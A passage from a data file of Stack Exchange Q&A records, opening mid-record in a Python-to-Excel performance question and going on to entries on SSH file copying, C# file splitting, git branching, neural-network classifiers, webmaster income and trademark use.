= 'Back'         z_ = xsheet1.Range('b1:b1000').find(fnd_b)        z_two = xsheet1.Range('b1:b1000').FindNext(z_)        z_three = xsheet1.Range('b1:b1000').FindNext(z_two)        z_four = xsheet1.Range('b1:b1000').FindNext(z_three)        z_five = xsheet1.Range('b1:b1000').FindNext(z_four)        z_six = xsheet1.Range('b1:b1000').FindNext(z_five)        try:            z_seven = xsheet1.Range('b1:b1000').FindNext(z_six)        except: pass        if 1 in df_acfmp['Stage_Number']:            for nums in range(5):                x_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 2 in df_acfmp['Stage_Number']:                                    for nums in range(5):                x_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 3 in df_acfmp['Stage_Number']:                                    for nums in range(5):                x_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 4 in df_acfmp['Stage_Number']:                                    for nums in range(5):                x_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]    if any(r in each_queer for r in order_list['two']):        locale_front = np.where(df_acfmp['Name'].str.contains(fronts.iloc[1] + '$'))        positions_front = locale_front[0]        fnd_f = 'F + 0 mm'        x = xsheet2.Range('b1:b1000').Find(fnd_f)        x_two = xsheet2.Range('b1:b1000').FindNext(x)        x_three = xsheet2.Range('b1:b1000').FindNext(x_two)        x_four = xsheet2.Range('b1:b1000').FindNext(x_three)        x_five = xsheet2.Range('b1:b1000').FindNext(x_four)        x_six = xsheet2.Range('b1:b1000').FindNext(x_five)        x_seven = xsheet2.Range('b1:b1000').FindNext(x_six)                   front_queer = fronts_plus.iloc(1)        locale_fronts_plus = np.where(df_acfmp['Name'].str.contains(front_queer, regex = False))        positions_fronts_plus = locale_fronts_plus[0]        fnd_p = 'F + 7 mm'        y_ = xsheet2.Range('b1:b1000').Find(fnd_p)        y_two = xsheet2.Range('b1:b1000').FindNext(y_)        y_three = xsheet2.Range('b1:b1000').FindNext(y_two)        y_four = xsheet2.Range('b1:b1000').FindNext(y_three)        y_five = xsheet2.Range('b1:b1000').FindNext(y_four)        y_six = xsheet2.Range('b1:b1000').FindNext(y_five)        try:            y_seven = xsheet2.Range('b1:b1000').FindNext(y_six)        except: pass        locale_backs = np.where(df_acfmp['Name'].str.contains(backs.iloc[1]))        positions_backs = locale_backs[0]        fnd_b = 'Back'         z_ = xsheet2.Range('b1:b1000').find(fnd_b)        z_two = xsheet2.Range('b1:b1000').FindNext(z_)        z_three = xsheet2.Range('b1:b1000').FindNext(z_two)        z_four = xsheet2.Range('b1:b1000').FindNext(z_three)        z_five = xsheet2.Range('b1:b1000').FindNext(z_four)        z_six = xsheet2.Range('b1:b1000').FindNext(z_five)        try:            z_seven = xsheet2.Range('b1:b1000').FindNext(z_six)        except: pass        if 1 in df_acfmp['Stage_Number'].values:            for nums in range(5):                x_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 2 in df_acfmp['Stage_Number'].values:                                    for nums in range(5):                x_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 3 in df_acfmp['Stage_Number'].values:                                    for nums in range(5):                x_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 4 in df_acfmp['Stage_Number'].values:                                    for nums in range(5):                x_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]    if any(s in each_queer for s in order_list['three']):        #query_front = fronts.ix[1, 'filter'] + '$'        locale_front = np.where(df_acfmp['Name'].str.contains(fronts.iloc[2] + '$'))        positions_front = locale_front[0]        fnd_f = 'F + 0 mm'        x = xsheet3.Range('b1:b1000').Find(fnd_f)        x_two = xsheet3.Range('b1:b1000').FindNext(x)        x_three = xsheet3.Range('b1:b1000').FindNext(x_two)        x_four = xsheet3.Range('b1:b1000').FindNext(x_three)        x_five = xsheet3.Range('b1:b1000').FindNext(x_four)        x_six = xsheet3.Range('b1:b1000').FindNext(x_five)        x_seven = xsheet3.Range('b1:b1000').FindNext(x_six)        front_queer = fronts_plus.iloc(2)        locale_fronts_plus = np.where(df_acfmp['Name'].str.contains(front_queer, regex = False))        positions_fronts_plus = locale_fronts_plus[0]        fnd_p = 'F + 7 mm'        y_ = xsheet3.Range('b1:b1000').Find(fnd_p)        y_two = xsheet3.Range('b1:b1000').FindNext(y_)        y_three = xsheet3.Range('b1:b1000').FindNext(y_two)        y_four = xsheet3.Range('b1:b1000').FindNext(y_three)        y_five = xsheet3.Range('b1:b1000').FindNext(y_four)        y_six = xsheet3.Range('b1:b1000').FindNext(y_five)        try:            y_seven = xsheet1.Range('b1:b1000').FindNext(y_six)        except: pass                        locale_backs = np.where(df_acfmp['Name'].str.contains(backs.iloc[2]))        positions_backs = locale_backs[0]        fnd_b = 'Back'         z_ = xsheet3.Range('b1:b1000').find(fnd_b)        z_two = xsheet3.Range('b1:b1000').FindNext(z_)        z_three = xsheet3.Range('b1:b1000').FindNext(z_two)        z_four = xsheet3.Range('b1:b1000').FindNext(z_three)        z_five = xsheet3.Range('b1:b1000').FindNext(z_four)        z_six = xsheet3.Range('b1:b1000').FindNext(z_five)        try:            z_seven = xsheet3.Range('b1:b1000').FindNext(z_six)        except: pass        if 1 in df_acfmp['Stage_Number'].values:            for nums in range(5):                x_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 2 in df_acfmp['Stage_Number'].values:                                    for nums in range(5):                x_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 3 in df_acfmp['Stage_Number'].values:                                    for nums in range(5):                x_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]        if 4 in df_acfmp['Stage_Number'].values:            for nums in range(5):                x_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]                y_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]                z_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]Some profiling data that has led me to believe this is the culprit function. I am very new to profiling code so I'm not entirely sure what this is telling me. ncalls  tottime  percall  cumtime  percall filename:lineno(function)    3    2.138    0.713   24.834    8.278 grab_enter.py:688(acfmp_ToExcel)Function                          called...                                  ncalls  tottime  cumtimegrab_enter.py:688(acfmp_ToExcel)  ->     180    0.002    0.626  <COMObject <unknown>>:1(Range)                                       1    0.000    0.004  <COMObject Range>:1(FindNext)                                     189    0.003    0.007  C:\\Python27\\lib\\site-packages\\pandas\\core\\frame.py:1757(__getitem__)                                      36    0.000    0.001  C:\\Python27\\lib\\site-packages\\pandas\\core\\generic.py:686(__contains__)                                     891    0.003    0.005  C:\\Python27\\lib\\site-packages\\pandas\\core\\generic.py:1030(_indexer)                                       6    0.000    0.000  C:\\Python27\\lib\\site-packages\\pandas\\core\\generic.py:1932(__getattr__)                                       6    0.000    0.000  C:\\Python27\\lib\\site-packages\\pandas\\core\\generic.py:1949(__setattr__)                                      27    0.000    0.001  C:\\Python27\\lib\\site-packages\\pandas\\core\\indexing.py:49(__call__)                                     864    0.004    0.528  C:\\Python27\\lib\\site-packages\\pandas\\core\\indexing.py:1198(__getitem__)                                       3    0.000    0.001  C:\\Python27\\lib\\site-packages\\pandas\\core\\series.py:114(__init__)                                      72    0.000    0.001  C:\\Python27\\lib\\site-packages\\pandas\\core\\series.py:296(values)                                       9    0.000    0.003  C:\\Python27\\lib\\site-packages\\pandas\\core\\series.py:507(__getitem__)                                       3    0.000    0.000  C:\\Python27\\lib\\site-packages\\pandas\\core\\series.py:1011(__iter__)                                       6    0.000    0.000  C:\\Python27\\lib\\site-packages\\pandas\\core\\series.py:2454(str)                                       9    0.000    0.002  C:\\Python27\\lib\\site-packages\\pandas\\core\\strings.py:879(wrapper3)                                      81    0.001    0.025  C:\\Python27\\lib\\site-packages\\pandas\\core\\strings.py:963(contains)                                     810    0.010    3.217  C:\\Python27\\lib\\site-packages\\win32com\\client\\dynamic.py:184(__call__)                                    1944    0.053    9.291  C:\\Python27\\lib\\site-packages\\win32com\\client\\dynamic.py:444(__getattr__)                                     810    0.029    5.190  C:\\Python27\\lib\\site-packages\\win32com\\client\\dynamic.py:524(__setattr__)                                       9    0.000    0.000  grab_enter.py:697(<genexpr>)                                       9    0.000    0.000  grab_enter.py:765(<genexpr>)                                       9    0.000    0.000  grab_enter.py:834(<genexpr>)                                      81    0.000    0.000  {any}                                      81    0.001    0.003  {numpy.core.multiarray.where}                                      54    0.000    0.000  {range}"  , "title": "Excel Laboratory Data Entry from Python 2.7"  , "tags": "python;performance;excel;pandas"  , "accepted_answer": "Do not bare excepttry:    z_seven = xsheet1.Range('b1:b1000').FindNext(z_six)except: passShould be avoided as any kind of error will be expected, instead use:try:    z_seven = xsheet1.Range('b1:b1000').FindNext(z_six)except TheExceptioIExpect:    passRemove the massive code duplication    if 1 in df_acfmp['Stage_Number']:        for nums in range(5):            x_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]            y_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]            z_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]    if 2 in df_acfmp['Stage_Number']:                                for nums in range(5):            x_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]            y_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]            z_five.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]    if 3 in df_acfmp['Stage_Number']:                                for nums in range(5):            x_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]            y_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]            z_six.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]    if 4 in df_acfmp['Stage_Number']:                                for nums in range(5):            x_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]            y_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]            z_seven.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]becomes:def contains_any(items, lst):    return any(i in lst for i in items)if contains_any([1,2,3,4], df_acfmp['Stage_Number']):        for nums in range(5):            x_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_front[0], nums]            y_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_fronts_plus[0], nums]            z_four.Offset(1, nums+2).Value = df_acfmp.iloc[positions_backs[0], nums]"  } 
{  "id": "_unix.2857"  , "question": "If I'm logged in to a system via SSH, is there a way to copy a file back to my local system without firing up another terminal or screen session and doing scp or something similar or without doing SSH from the remote system back to the local system?"  , "title": "SSH easily copy file to local system"  , "tags": "ssh;file copy"  , "accepted_answer": "Master connectionIt's easiest if you plan in advance.Open a master connection the first time. For subsequent connections, route slave connections through the existing master connection. In your ~/.ssh/config, set up connection sharing to happen automatically:ControlMaster autoControlPath ~/.ssh/control:%h:%p:%rIf you start an ssh session to the same (user, port, machine) as an existing connection, the second session will be tunneled over the first. Establishing the second connection requires no new authentication and is very fast.So while you have your active connection, you can quickly:copy a file with scp or rsync;mount a remote filesystem with sshfs.ForwardingOn an existing connection, you can establish a reverse ssh tunnel. On the ssh command line, create a remote forwarding by passing -R 22042:localhost:22 where 22042 is a randomly chosen number that's different from any other port number on the remote machine. Then ssh -p 22042 localhost on the remote machine connects you back to the source machine; you can use scp -P 22042 foo localhost: to copy files.You can automate this further with RemoteForward 22042 localhost:22. The problem with this is that if you connect to the same computer with multiple instances of ssh, or if someone else is using the port, you don't get the forwarding.If you haven't enabled a remote forwarding from the start, you can do it on an existing ssh session. Type Enter ~C Enter -R 22042:localhost:22 Enter.See Escape characters in the manual for more information.There is also some interesting information in this Server Fault thread.Copy-pasteIf the file is small, you can type it out and copy-paste from the terminal output. If the file contains non-printable characters, use an encoding such as base64.remote.example.net$ base64 <myfile(copy the output)local.example.net$ base64 -d >myfile(copy the output)Ctrl+DMore conveniently, if you have X forwarding active, copy the file on the remote machine and paste it locally. You can pipe data in and out of xclip or xsel. If you want to preserve the file name and metadata, copy-paste an archive.remote.example.net$ tar -czf - myfile | xsellocal.example.net$ xsel | tar -xzf -"  } 
{  "id": "_webmaster.108195"  , "question": "I'd like to know if you think it'd be worth it to compete with a relatively big competitor (160k backlinks from 2.4k domains, citation flow 47, trust flow 43, class C IPs 1.2k) whose niche is however something I have sufficient knowledge of (how-tos and technology) starting from scratch.I am particularly interested because such domain exploits a niche language I have good fluency of and of course technology is one of the big players on search engine searches and affiliate sales.Until now I have managed a very small niche domain in my spare time (genre-specific music), which however being so specific, couldn't but have a modest amount of visitors even if ranking high on Google.On the other hand, it's been years I have been closely watching that domain I'd like to compete with (it has around 8k how-tos with good SEO but average or below average error-ridden or outdated content taken from various unquoted sorces, something I'd easily create myself in a few months worth of work, or even sooner with the help of a few collaborators, that domain itself is run by just a couple of people) and consistently ranks its how-tos and comparison on top positions in its niche, yielding most of its revenue in header bidding.The template they use is nothing overly complicated, it just has the main optimizations one would use to decrease load time and not trigger Google with too many banners.The main doubts I have is if such a domain, having larger economic resources than me, could eventually sink mine (with techniques like giving me plenty of spammy backlinks or something like that) once it finds out I am competing and getting closer than they'd like, or since their texts are already quite good SEO, their strongest assurance could be that I'd have to sacrifice too many keywords in order to create my content without having my reworkings seem close enough to theirs to allow a lawsuit?Thank youFrank"  , "title": "Is it worth it to compete with a big competitor starting from scratch?"  , "tags": "seo"  } 
{  "id": "_softwareengineering.224393"  , "question": "I'm building a repository for a large CRM schema that has a high number of relations between entities.Some of the entities are referenced by almost all entities, e.g. Person and Company.Where I have an aggregate root such as Order, that addresses Order Header, Order Lines etc. In the case where the Order is from a new Customer, I need to insert a Company and a Person record at the same time... so far so good.The difficulty is that this is the situation with very many other aggregate roots.I don't want to have a private method insertPerson(IPerson) in every single repository implementation.I have a Customer repository that already has public InsertCustomer(ICustomer) method, which persists a Company and a person record. But my reading indicates that repositories shouldn't depend on each other.If this is a case where it is okay for repositories to depend on each other, what is the best way to go about it? Should I inject the Customer Repository into the Order repository constuctor, pass it as a parameter to the methods that need it, or never commit this evil and duplicate the identical code in all repositories, in case those repositories need to specialise that code for their specific contexts?"  , "title": "How to avoid duplication of code related to shared entities in the repository pattern?"  , "tags": "design patterns;domain driven design;repository"  , "accepted_answer": "This sounds like an area that Service Layer might come in handy.  You could inject the repositories in the service layer and that way each repo won't depend on the others, and the service can coordinate all of the inserts for a given operation across aggregates.Details of your implementation might also guide you depending on the extent to which you're relying on an ORM and need to take into account the atomicity of the repository operations. Without knowing more about that this advice may be less than useful.  "  } 
{  "id": "_codereview.143848"  , "question": "I am interested in learning a more succinct (or better performing) way of writing the following working code. I just figured it out but it is pretty messy. This program takes a file full of daily financial transactions for x number of months (for example), and appends each line to the appropriate month file to create separate monthly reports. I put the open month files in a list. If the filestream is not yet created, I create it, add it to the list, then append the data. If it is already created/open, I append the data to it.using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Text;namespace SplitFiles{    class Program    {        private static FileStream fs;        private static List<FileStream> lf;        private static StringBuilder sb;        private static string[] header;        private static string _file;        private static string _fileName;        private static string _startDir;        private static string _newFile;        public static string NFile        {            get { return _newFile; }            set            {                _newFile = Path.Combine(_startDir, ${value}_{_fileName});            }        }        static byte[] ReturnBytes(string s)        {            return Encoding.ASCII.GetBytes(s);        }        static void CeateFile(string monyr)        {            NFile = monyr;            fs = new FileStream(NFile, FileMode.Create);            for(var i = 0; i < 3; i++)            {                var b = ReturnBytes(${header[i]}{Environment.NewLine});                fs.Write(b, 0, b.Length);            }            lf.Add(fs);        }        static void Main(string[] args)        {            sb = new StringBuilder();            header = new string[4];            _startDir = @D:\\ProgramData\\MonthlyReports;            _file = @D:\\ProgramData\\test.txt;            _fileName = Path.GetFileName(_file);            lf = new List<FileStream>();            var my = new string[2];            DateTime dt;            // if directory doesnt exist, create it            if (!Directory.Exists(_startDir)) Directory.CreateDirectory(_startDir);            using (var sr = new StreamReader(File.OpenRead(_file)))            {                var i = 0;                while (!sr.EndOfStream)                {                    sb.Append(sr.ReadLine());                    // first 3 lines of file contain:                    // -------- etc                    // field1 | field2 | field3 | DATEFIELD | field5 | etc. | etc.                    // -------- etc                    // last line: ------------------------ etc                    // Build header array (first 3 lines = header, last line = footer)                    if (i < 3 || sb.ToString().Contains(-------------))                    {                        header[i] = sb.ToString();                        i++;                        sb.Clear();                        continue;                    }                    // split line by bar | delimiter                    var pop = sb.ToString().Split('|');                    if(DateTime.TryParse(pop[4], out dt))                    {                        my[0] = dt.Month.ToString();                        my[1] = dt.Year.ToString();                        fs = lf.FirstOrDefault(a => a.Name.IndexOf(${my[0]}_{my[1]}) != -1);                        // if fs is null, create filestream and set fs = new filestream                        if (fs == null) CeateFile(${my[0]}_{my[1]});                        var b = ReturnBytes(${sb.ToString()}{Environment.NewLine});                        fs.Write(b, 0, b.Length);                    }                    sb.Clear();                }            }            var finalLine = ReturnBytes(${header[3]}{Environment.NewLine});            lf.ForEach(a =>{                a.Write(finalLine, 0, finalLine.Length);                a.Close();            });            sb.Clear();            sb = null;            fs.Close();        }    }}"  , "title": "Creating monthly files from an annual file"  , "tags": "c#;performance;linq;memory optimization"  , "accepted_answer": "Problems I seeHaving all methods static will envolve some problems you can avoid: the code is harder to testusing static methods with a class having a state will lead to problems if multi threading should be introduced  Creating filestreams which are kept open can lead to problems because in the case of an exception the streams aren't properly disposed.  Inconsistent naming of variables. Either use underscore-prefixed names or don't use them. Mixing styles will lead to harder to read and therefor harder to maintain code. Prefixing static variables with an underscore is IMO not correct.  The names of most variables don't tell the reader of the code anything about their purpose. Always make the names of things as descriptive as possible. E.g private static List<FileStream> lf; would be named better fileStreams.. If you or Sam the maintainer come back in 2 months to this code because you either have a bug or you need to add a feature you would have a hard time to figure out what all the variables and parameters (like string monyr) represent hence your task will take a lot more time.If the file isn't that big (not megabytes)  simply using File.ReadAllLines() would be better, because it would remove the need to convert the bytes to text because that is done by that said method and it will shorten your code.  If the file is big, you should consider to use a TextReader instead of a StreamReader because the TextReader is doing the converting stuff under the hood.  If you are using comments you should use them only if it isn't obvious why the code does something in a specific way. Something like         // if directory doesnt exist, create it        if (!Directory.Exists(_startDir)) Directory.CreateDirectory(_startDir);  is stating the obvious and in addition could be just replaced by a simple Directory.CreateDirectory(_startDir); because under the hood the CreateDirectory() is checking if the directory exists before it tries to create it.  "  } 
{  "id": "_softwareengineering.290391"  , "question": "BackgroundSupport and Sprint are the test branches for bugs and tasksEach bug gets a new branch from master, which is merged into Support, when tested good, a pull request is made between the Support branch and master.Each task gets a new branch from master, which is merged into Sprint, when tested good, a pull request is made between the Sprint branch and masterAllows for any given bug fix to go live at a moments notice when tested good, and allows for any given task to go live as and when its ready.Allows for any part of a task to be tested in isolationAllows for any bug to be tested in isolationProblemIf Task 123 and Task 234 both change method DoSomethingToX, this creates a conflict in Sprint which must be resolved. This will break one or both, or neither of the tasks. The fix will be made as part of the merge (because its resolving a conflict), so will be committed to Sprint, not Task 123/234.I do not want to merge Sprint back into a task, because that will then merge all other In Progress tasks into that task, and could potentially put those task-parts liveHow would i better manage these conflicts? Is this  what cherry-pick is for? Is there a way to go with this type of architecture and avoid these conflicts?Are there a set of coding standards that would help avoid these conflicts?(Support and Sprint are only there to give a branch to create deployment builds from for testing, this is already pretty finely ingrained into the entire process and is unlikely to be changed)"  , "title": "Avoid branch conflicts/race conditions with task branches"  , "tags": "git;branching;release management"  } 
{  "id": "_unix.42973"  , "question": "OS X 10.6.8, if I use Bash Process Substitution as 'root', it just doesn't work.Is it supposed to be so?Why?Note: here's what I mean... <(list)mysql -D robottinosino < <(echo 'select robot from tino_sino;') /* a contrived example, admittedly, as you could swap the echo and mysql using a simple pipe... I could not think of a better one off the top of my head */EDIT:I am logging on as root like so:sudo su -(incidentally, is there a better way if I want to stay logged on?)I am not on Bash so my question is really stupid and the comment below caught the problem instantly! :(echo $0 yields -sh :(I guess this question could just be deleted at this point or metamorphosed into: how to I properly log in as 'root' using bash? (perhaps editing /private/etc/passwd? that does not seem to work. or... sudo bash -l?)"  , "title": "Bash Process Substitution does not work as 'root' on OS X"  , "tags": "bash;shell;osx;root"  , "accepted_answer": "If you want to change the shell, run chsh -s /bin/bashIf you want to run the shell once while logged in as root just run bash or /bin/bashchsh after changing roots shell:# Changing user information for root.# Use passwd to change the password.### Open Directory: /Local/Default##Login: rootUid [#]: 0Gid [# or name]: 0Generated uid: FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000000Home directory: /var/rootShell: /bin/bashFull Name: System AdministratorOffice Location:Office Phone:Home Phone:"  } 
{  "id": "_unix.87001"  , "question": "This might seem like a duplicate post, well yes it is, but I have a different problem compared with the duplicate version of it.My value for imaqhwinfo gives me:   InstalledAdaptors: {'dcam'  'linuxvideo'}    MATLABVersion: '7.14 (R2012a)'      ToolboxName: 'Image Acquisition Toolbox'   ToolboxVersion: '4.3 (R2012a)'The value for imaqhwinfo('linuxvideo',1) gives me:DefaultFormat: 'YUYV_640x480'   DeviceFileSupported: 0            DeviceName: '1.3M WebCam'              DeviceID: 1 VideoInputConstructor: 'videoinput('linuxvideo', 1)'VideoDeviceConstructor: 'imaq.VideoDevice('linuxvideo', 1)'      SupportedFormats: {1x7 cell}So, after that I gave the following to the Matlab terminal:vid = videoinput('linuxvideo', 1);set(vid, 'ReturnedColorSpace', 'RGB');However, after inputting the following line:img = getsnapshot(vid);I get the following error:Warning: Unable to set the selected source.  Perhaps the device is in use. Error using imaqdevice/getsnapshot (line 62)Could not connect to the image acquisition device.  Device may be in use.I posted this question to Matlab central and am waiting for a reply.I'm using ArchLinux(64 bit) & Matlab(2012a) ( 64 bit). Webcam apps such as Cheese are running okay. I can see my face. I also have Skype, though I haven't configured it yet.TL;DRCan anybody help me fix this issue? It would be a great help, because if I cannot, I'll have to re-install Windows 7 for just a little bit of a school assignment, and that's time consuming. Plus I don't want to go back to Windows right now.P.S: lsusb gives me:Bus 002 Device 005: ID 148e:099a EVATRONIX SA Bus 002 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching HubBus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 001 Device 003: ID 064e:a219 Suyin Corp. 1.3M WebCam (notebook emachines E730, Acer sub-brand)Bus 001 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching HubBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub"  , "title": "Connection error for linux webcam driver for matlab"  , "tags": "arch linux;drivers;configuration;camera;matlab"  } 
{  "id": "_softwareengineering.187648"  , "question": "Every example neural network for image recognition I've read about produces a simple yes or no answer.  One exit node corresponds to Yes, this is a human face, and one corresponds to No, this is not a human face.I understand that this is likely for simplicity of explanation, but I'm wondering how such a neural network could be programmed to give a more specific output.  For example, let's say I was classifying animals.  Instead of it saying Animal or Not an animal, I would want responses like Dog, Fish, Bird, Snake, etc., with one final exit node being Not an animal/I don't recognize this.I'm sure this must be possible, but I'm having trouble understanding how.  It seems like due to the training algorithm of backpropogation of error, as you train up one exit node (i.e., This is a dog) and the weights of the neurons are changed, then the ideal state for another exit node that you previously trained (i.e., This is a bird) will begin to deviate, and vice versa.  So training the network to recognize one category would sabotage any training done for another category, thus limiting us to a simple Yes or No design.Does this make such a recognizer impossible?  Or am I misunderstanding the algorithm?  The only two things I can think of are that:Either we could train one neural network for each thing we want classified and somehow use those to construct a greater, super-network (so for example, a network for dog, a network for bird, etc., which we somehow add together to create the super-network for animals); or,Create some kind of ridiculously complicated training methodology which would require incredibly advanced mathematics and would somehow produce an ideal neuron-weight-state for all possible outputs (in other words, insert math magic here).(Side note 1: I am specifically looking at multilayer perceptrons as a kind of neural network.)(Side note 2: For the first bulleted possible solution, having each specific neural network and iterating through them until we receive a Yes response is not good enough.  I know this could be done fairly easily, but that is simple functional programming rather than machine learning.  I want to know if it's possible to have one neural network to feed the information to and receive the appropriate response.)"  , "title": "Can a neural network provide more than yes or no answers?"  , "tags": "machine learning;artificial intelligence"  , "accepted_answer": "To answer just your title, yes. Neural nets can give non-boolean answers. For example, neural nets have been used to predict stock market values, which is a numeric answer and thus more than just yes/no. Neural nets are also used in handwriting recognition, in which the output can be one of a whole range of characters - the whole alphabet, the numbers, and punctuation.To focus more on your example - recognising animals - I'd say it's possible. It's mostly an extension of the handwriting recognition example; you're recognising features of a shape and comparing them to ideal shapes to see which matches. The issues are technical, rather than theoretical. Handwriting, when run through recognition software, is usually mapped down to a set of lines and curves - nice and simple. Animal faces are harder to recognise, so you'd need image processing logic to extract features like eyes, nose, mouth, rough skull outline etc. Still, you only asked if it's possible, not how, so the answer is yes.Your best bet is probably to take a look at things like Adaptive Resonance Theory. The general principle is that the sensory input (in this case, metrics on the relative size, shape and spacing of the various facial features) is compared to a prototype or template which defines that class of thing. If the difference between the sensory input and the remembered template is below a certain threshold (as defined by a vigilance parameter), then the object being observed is assumed to be a member of the group represented by the template; if no match can be found then the system declares it to be a previously unseen type. The nice thing about this sort of net is that when it recognises that an object is, say, a horse, it can learn more about recognising horses so that it can tell the difference between, say, a standing horse and a sleeping horse, but when it sees something new, it can start learning about the new thing until it can say I don't know what this is, but I know it's the same thing as this other thing I saw previously.EDIT:(In the interest of full disclosure: I'm still researching this myself for a project, so my knowledge is still incomplete and possibly a little off in places.)how does this tie in with backpropogation setting weights for one output node ruining the weights for another, previously-trained node?From what I've read so far, the ART paradigm is slightly different; it's split into two sections - one that learns the inputs, and one that learns the outputs for them. This means that when it comes across an input set that doesn't match, an uncommitted neuron is activated and adjusted to match the input, so that that neuron will trigger a match next time. The neurons in this layer are only for recognition. Once this layer finds a match, the inputs are handed to the layer beneath, which is the one that calculates the response. For your situation, this layer would likely be very simple. The system I'm looking at is learning to drive. This is actually two types of learning; one is learning to drive in a variety of situations, and the other is learning to recognise the situation. For example, you have to learn how to drive on a slippery road, but you also have to learn to feel when the road you're driving on is slippery.This idea of learning new inputs without ruining previously-learned behaviours is known as the stability/plasticity dilemma. A net needs to be stable enough to keep learned behaviour, but plastic enough that it can be taught new things when circumstances change. This is exactly what ART nets are intended to solve."  } 
{  "id": "_webmaster.27311"  , "question": "There are quite a few one-page-only websites that are made to perform a simple/single task. Examples of such websites include:http://dummyimage.com/ -- generates a dummy imagehttp://www.lipsum.com/ -- generates lipsum texthttp://ajaxload.info/ -- generates animated ajax loading imageshttp://www.generatedata.com/ -- generates dummy data for sqlhttp://jsbeautifier.org/ -- formats your javascripthttp://jsonlint.com/ -- validates JSONhttp://yui.2clics.net/ -- online YUI compressorhttp://www.colorpicker.com/ -- online color pickerVery few of these websites show an advertisements. Now I have a few ideas of my own and I was wondering if these websites have some way of earning income to keep them up and running.Should I expect to earn some income if I set up a few websites such as these?Should I setup AdSense on my (planned) website? My ideas are not absolutely unique but rare."  , "title": "Can I expect some income from utility websites?"  , "tags": "google adsense;revenue"  } 
{  "id": "_webmaster.78807"  , "question": "When I am talking about third party trademarks on my website:Am I supposed to use the appropriate registered   symbols or is this not required?I am not talking about our own trademarks but trademarks of products we sell on our website."  , "title": "Trademark  Symbol Required in Product Description?"  , "tags": "legal"  , "accepted_answer": "It probably is, from a purely legal standpoint actually required. Our company was actually sued about it several years ago. We were selling Brand's products on our website and selling them as Brand Product. The problem arose when we started ranking higher for Brand Product than the actual Brand's website. This caused Brand to get grumpy, and brought us to court, even though we were buying the product from them 100% legitimately. When all was said and done and the lawyers got their pound of flesh, we were required to put ® next to any use of their trademark.That said, no reasonable company would give you a hard time about this as long as you're not abusing or doing anything damaging with their trademarked term."  } 
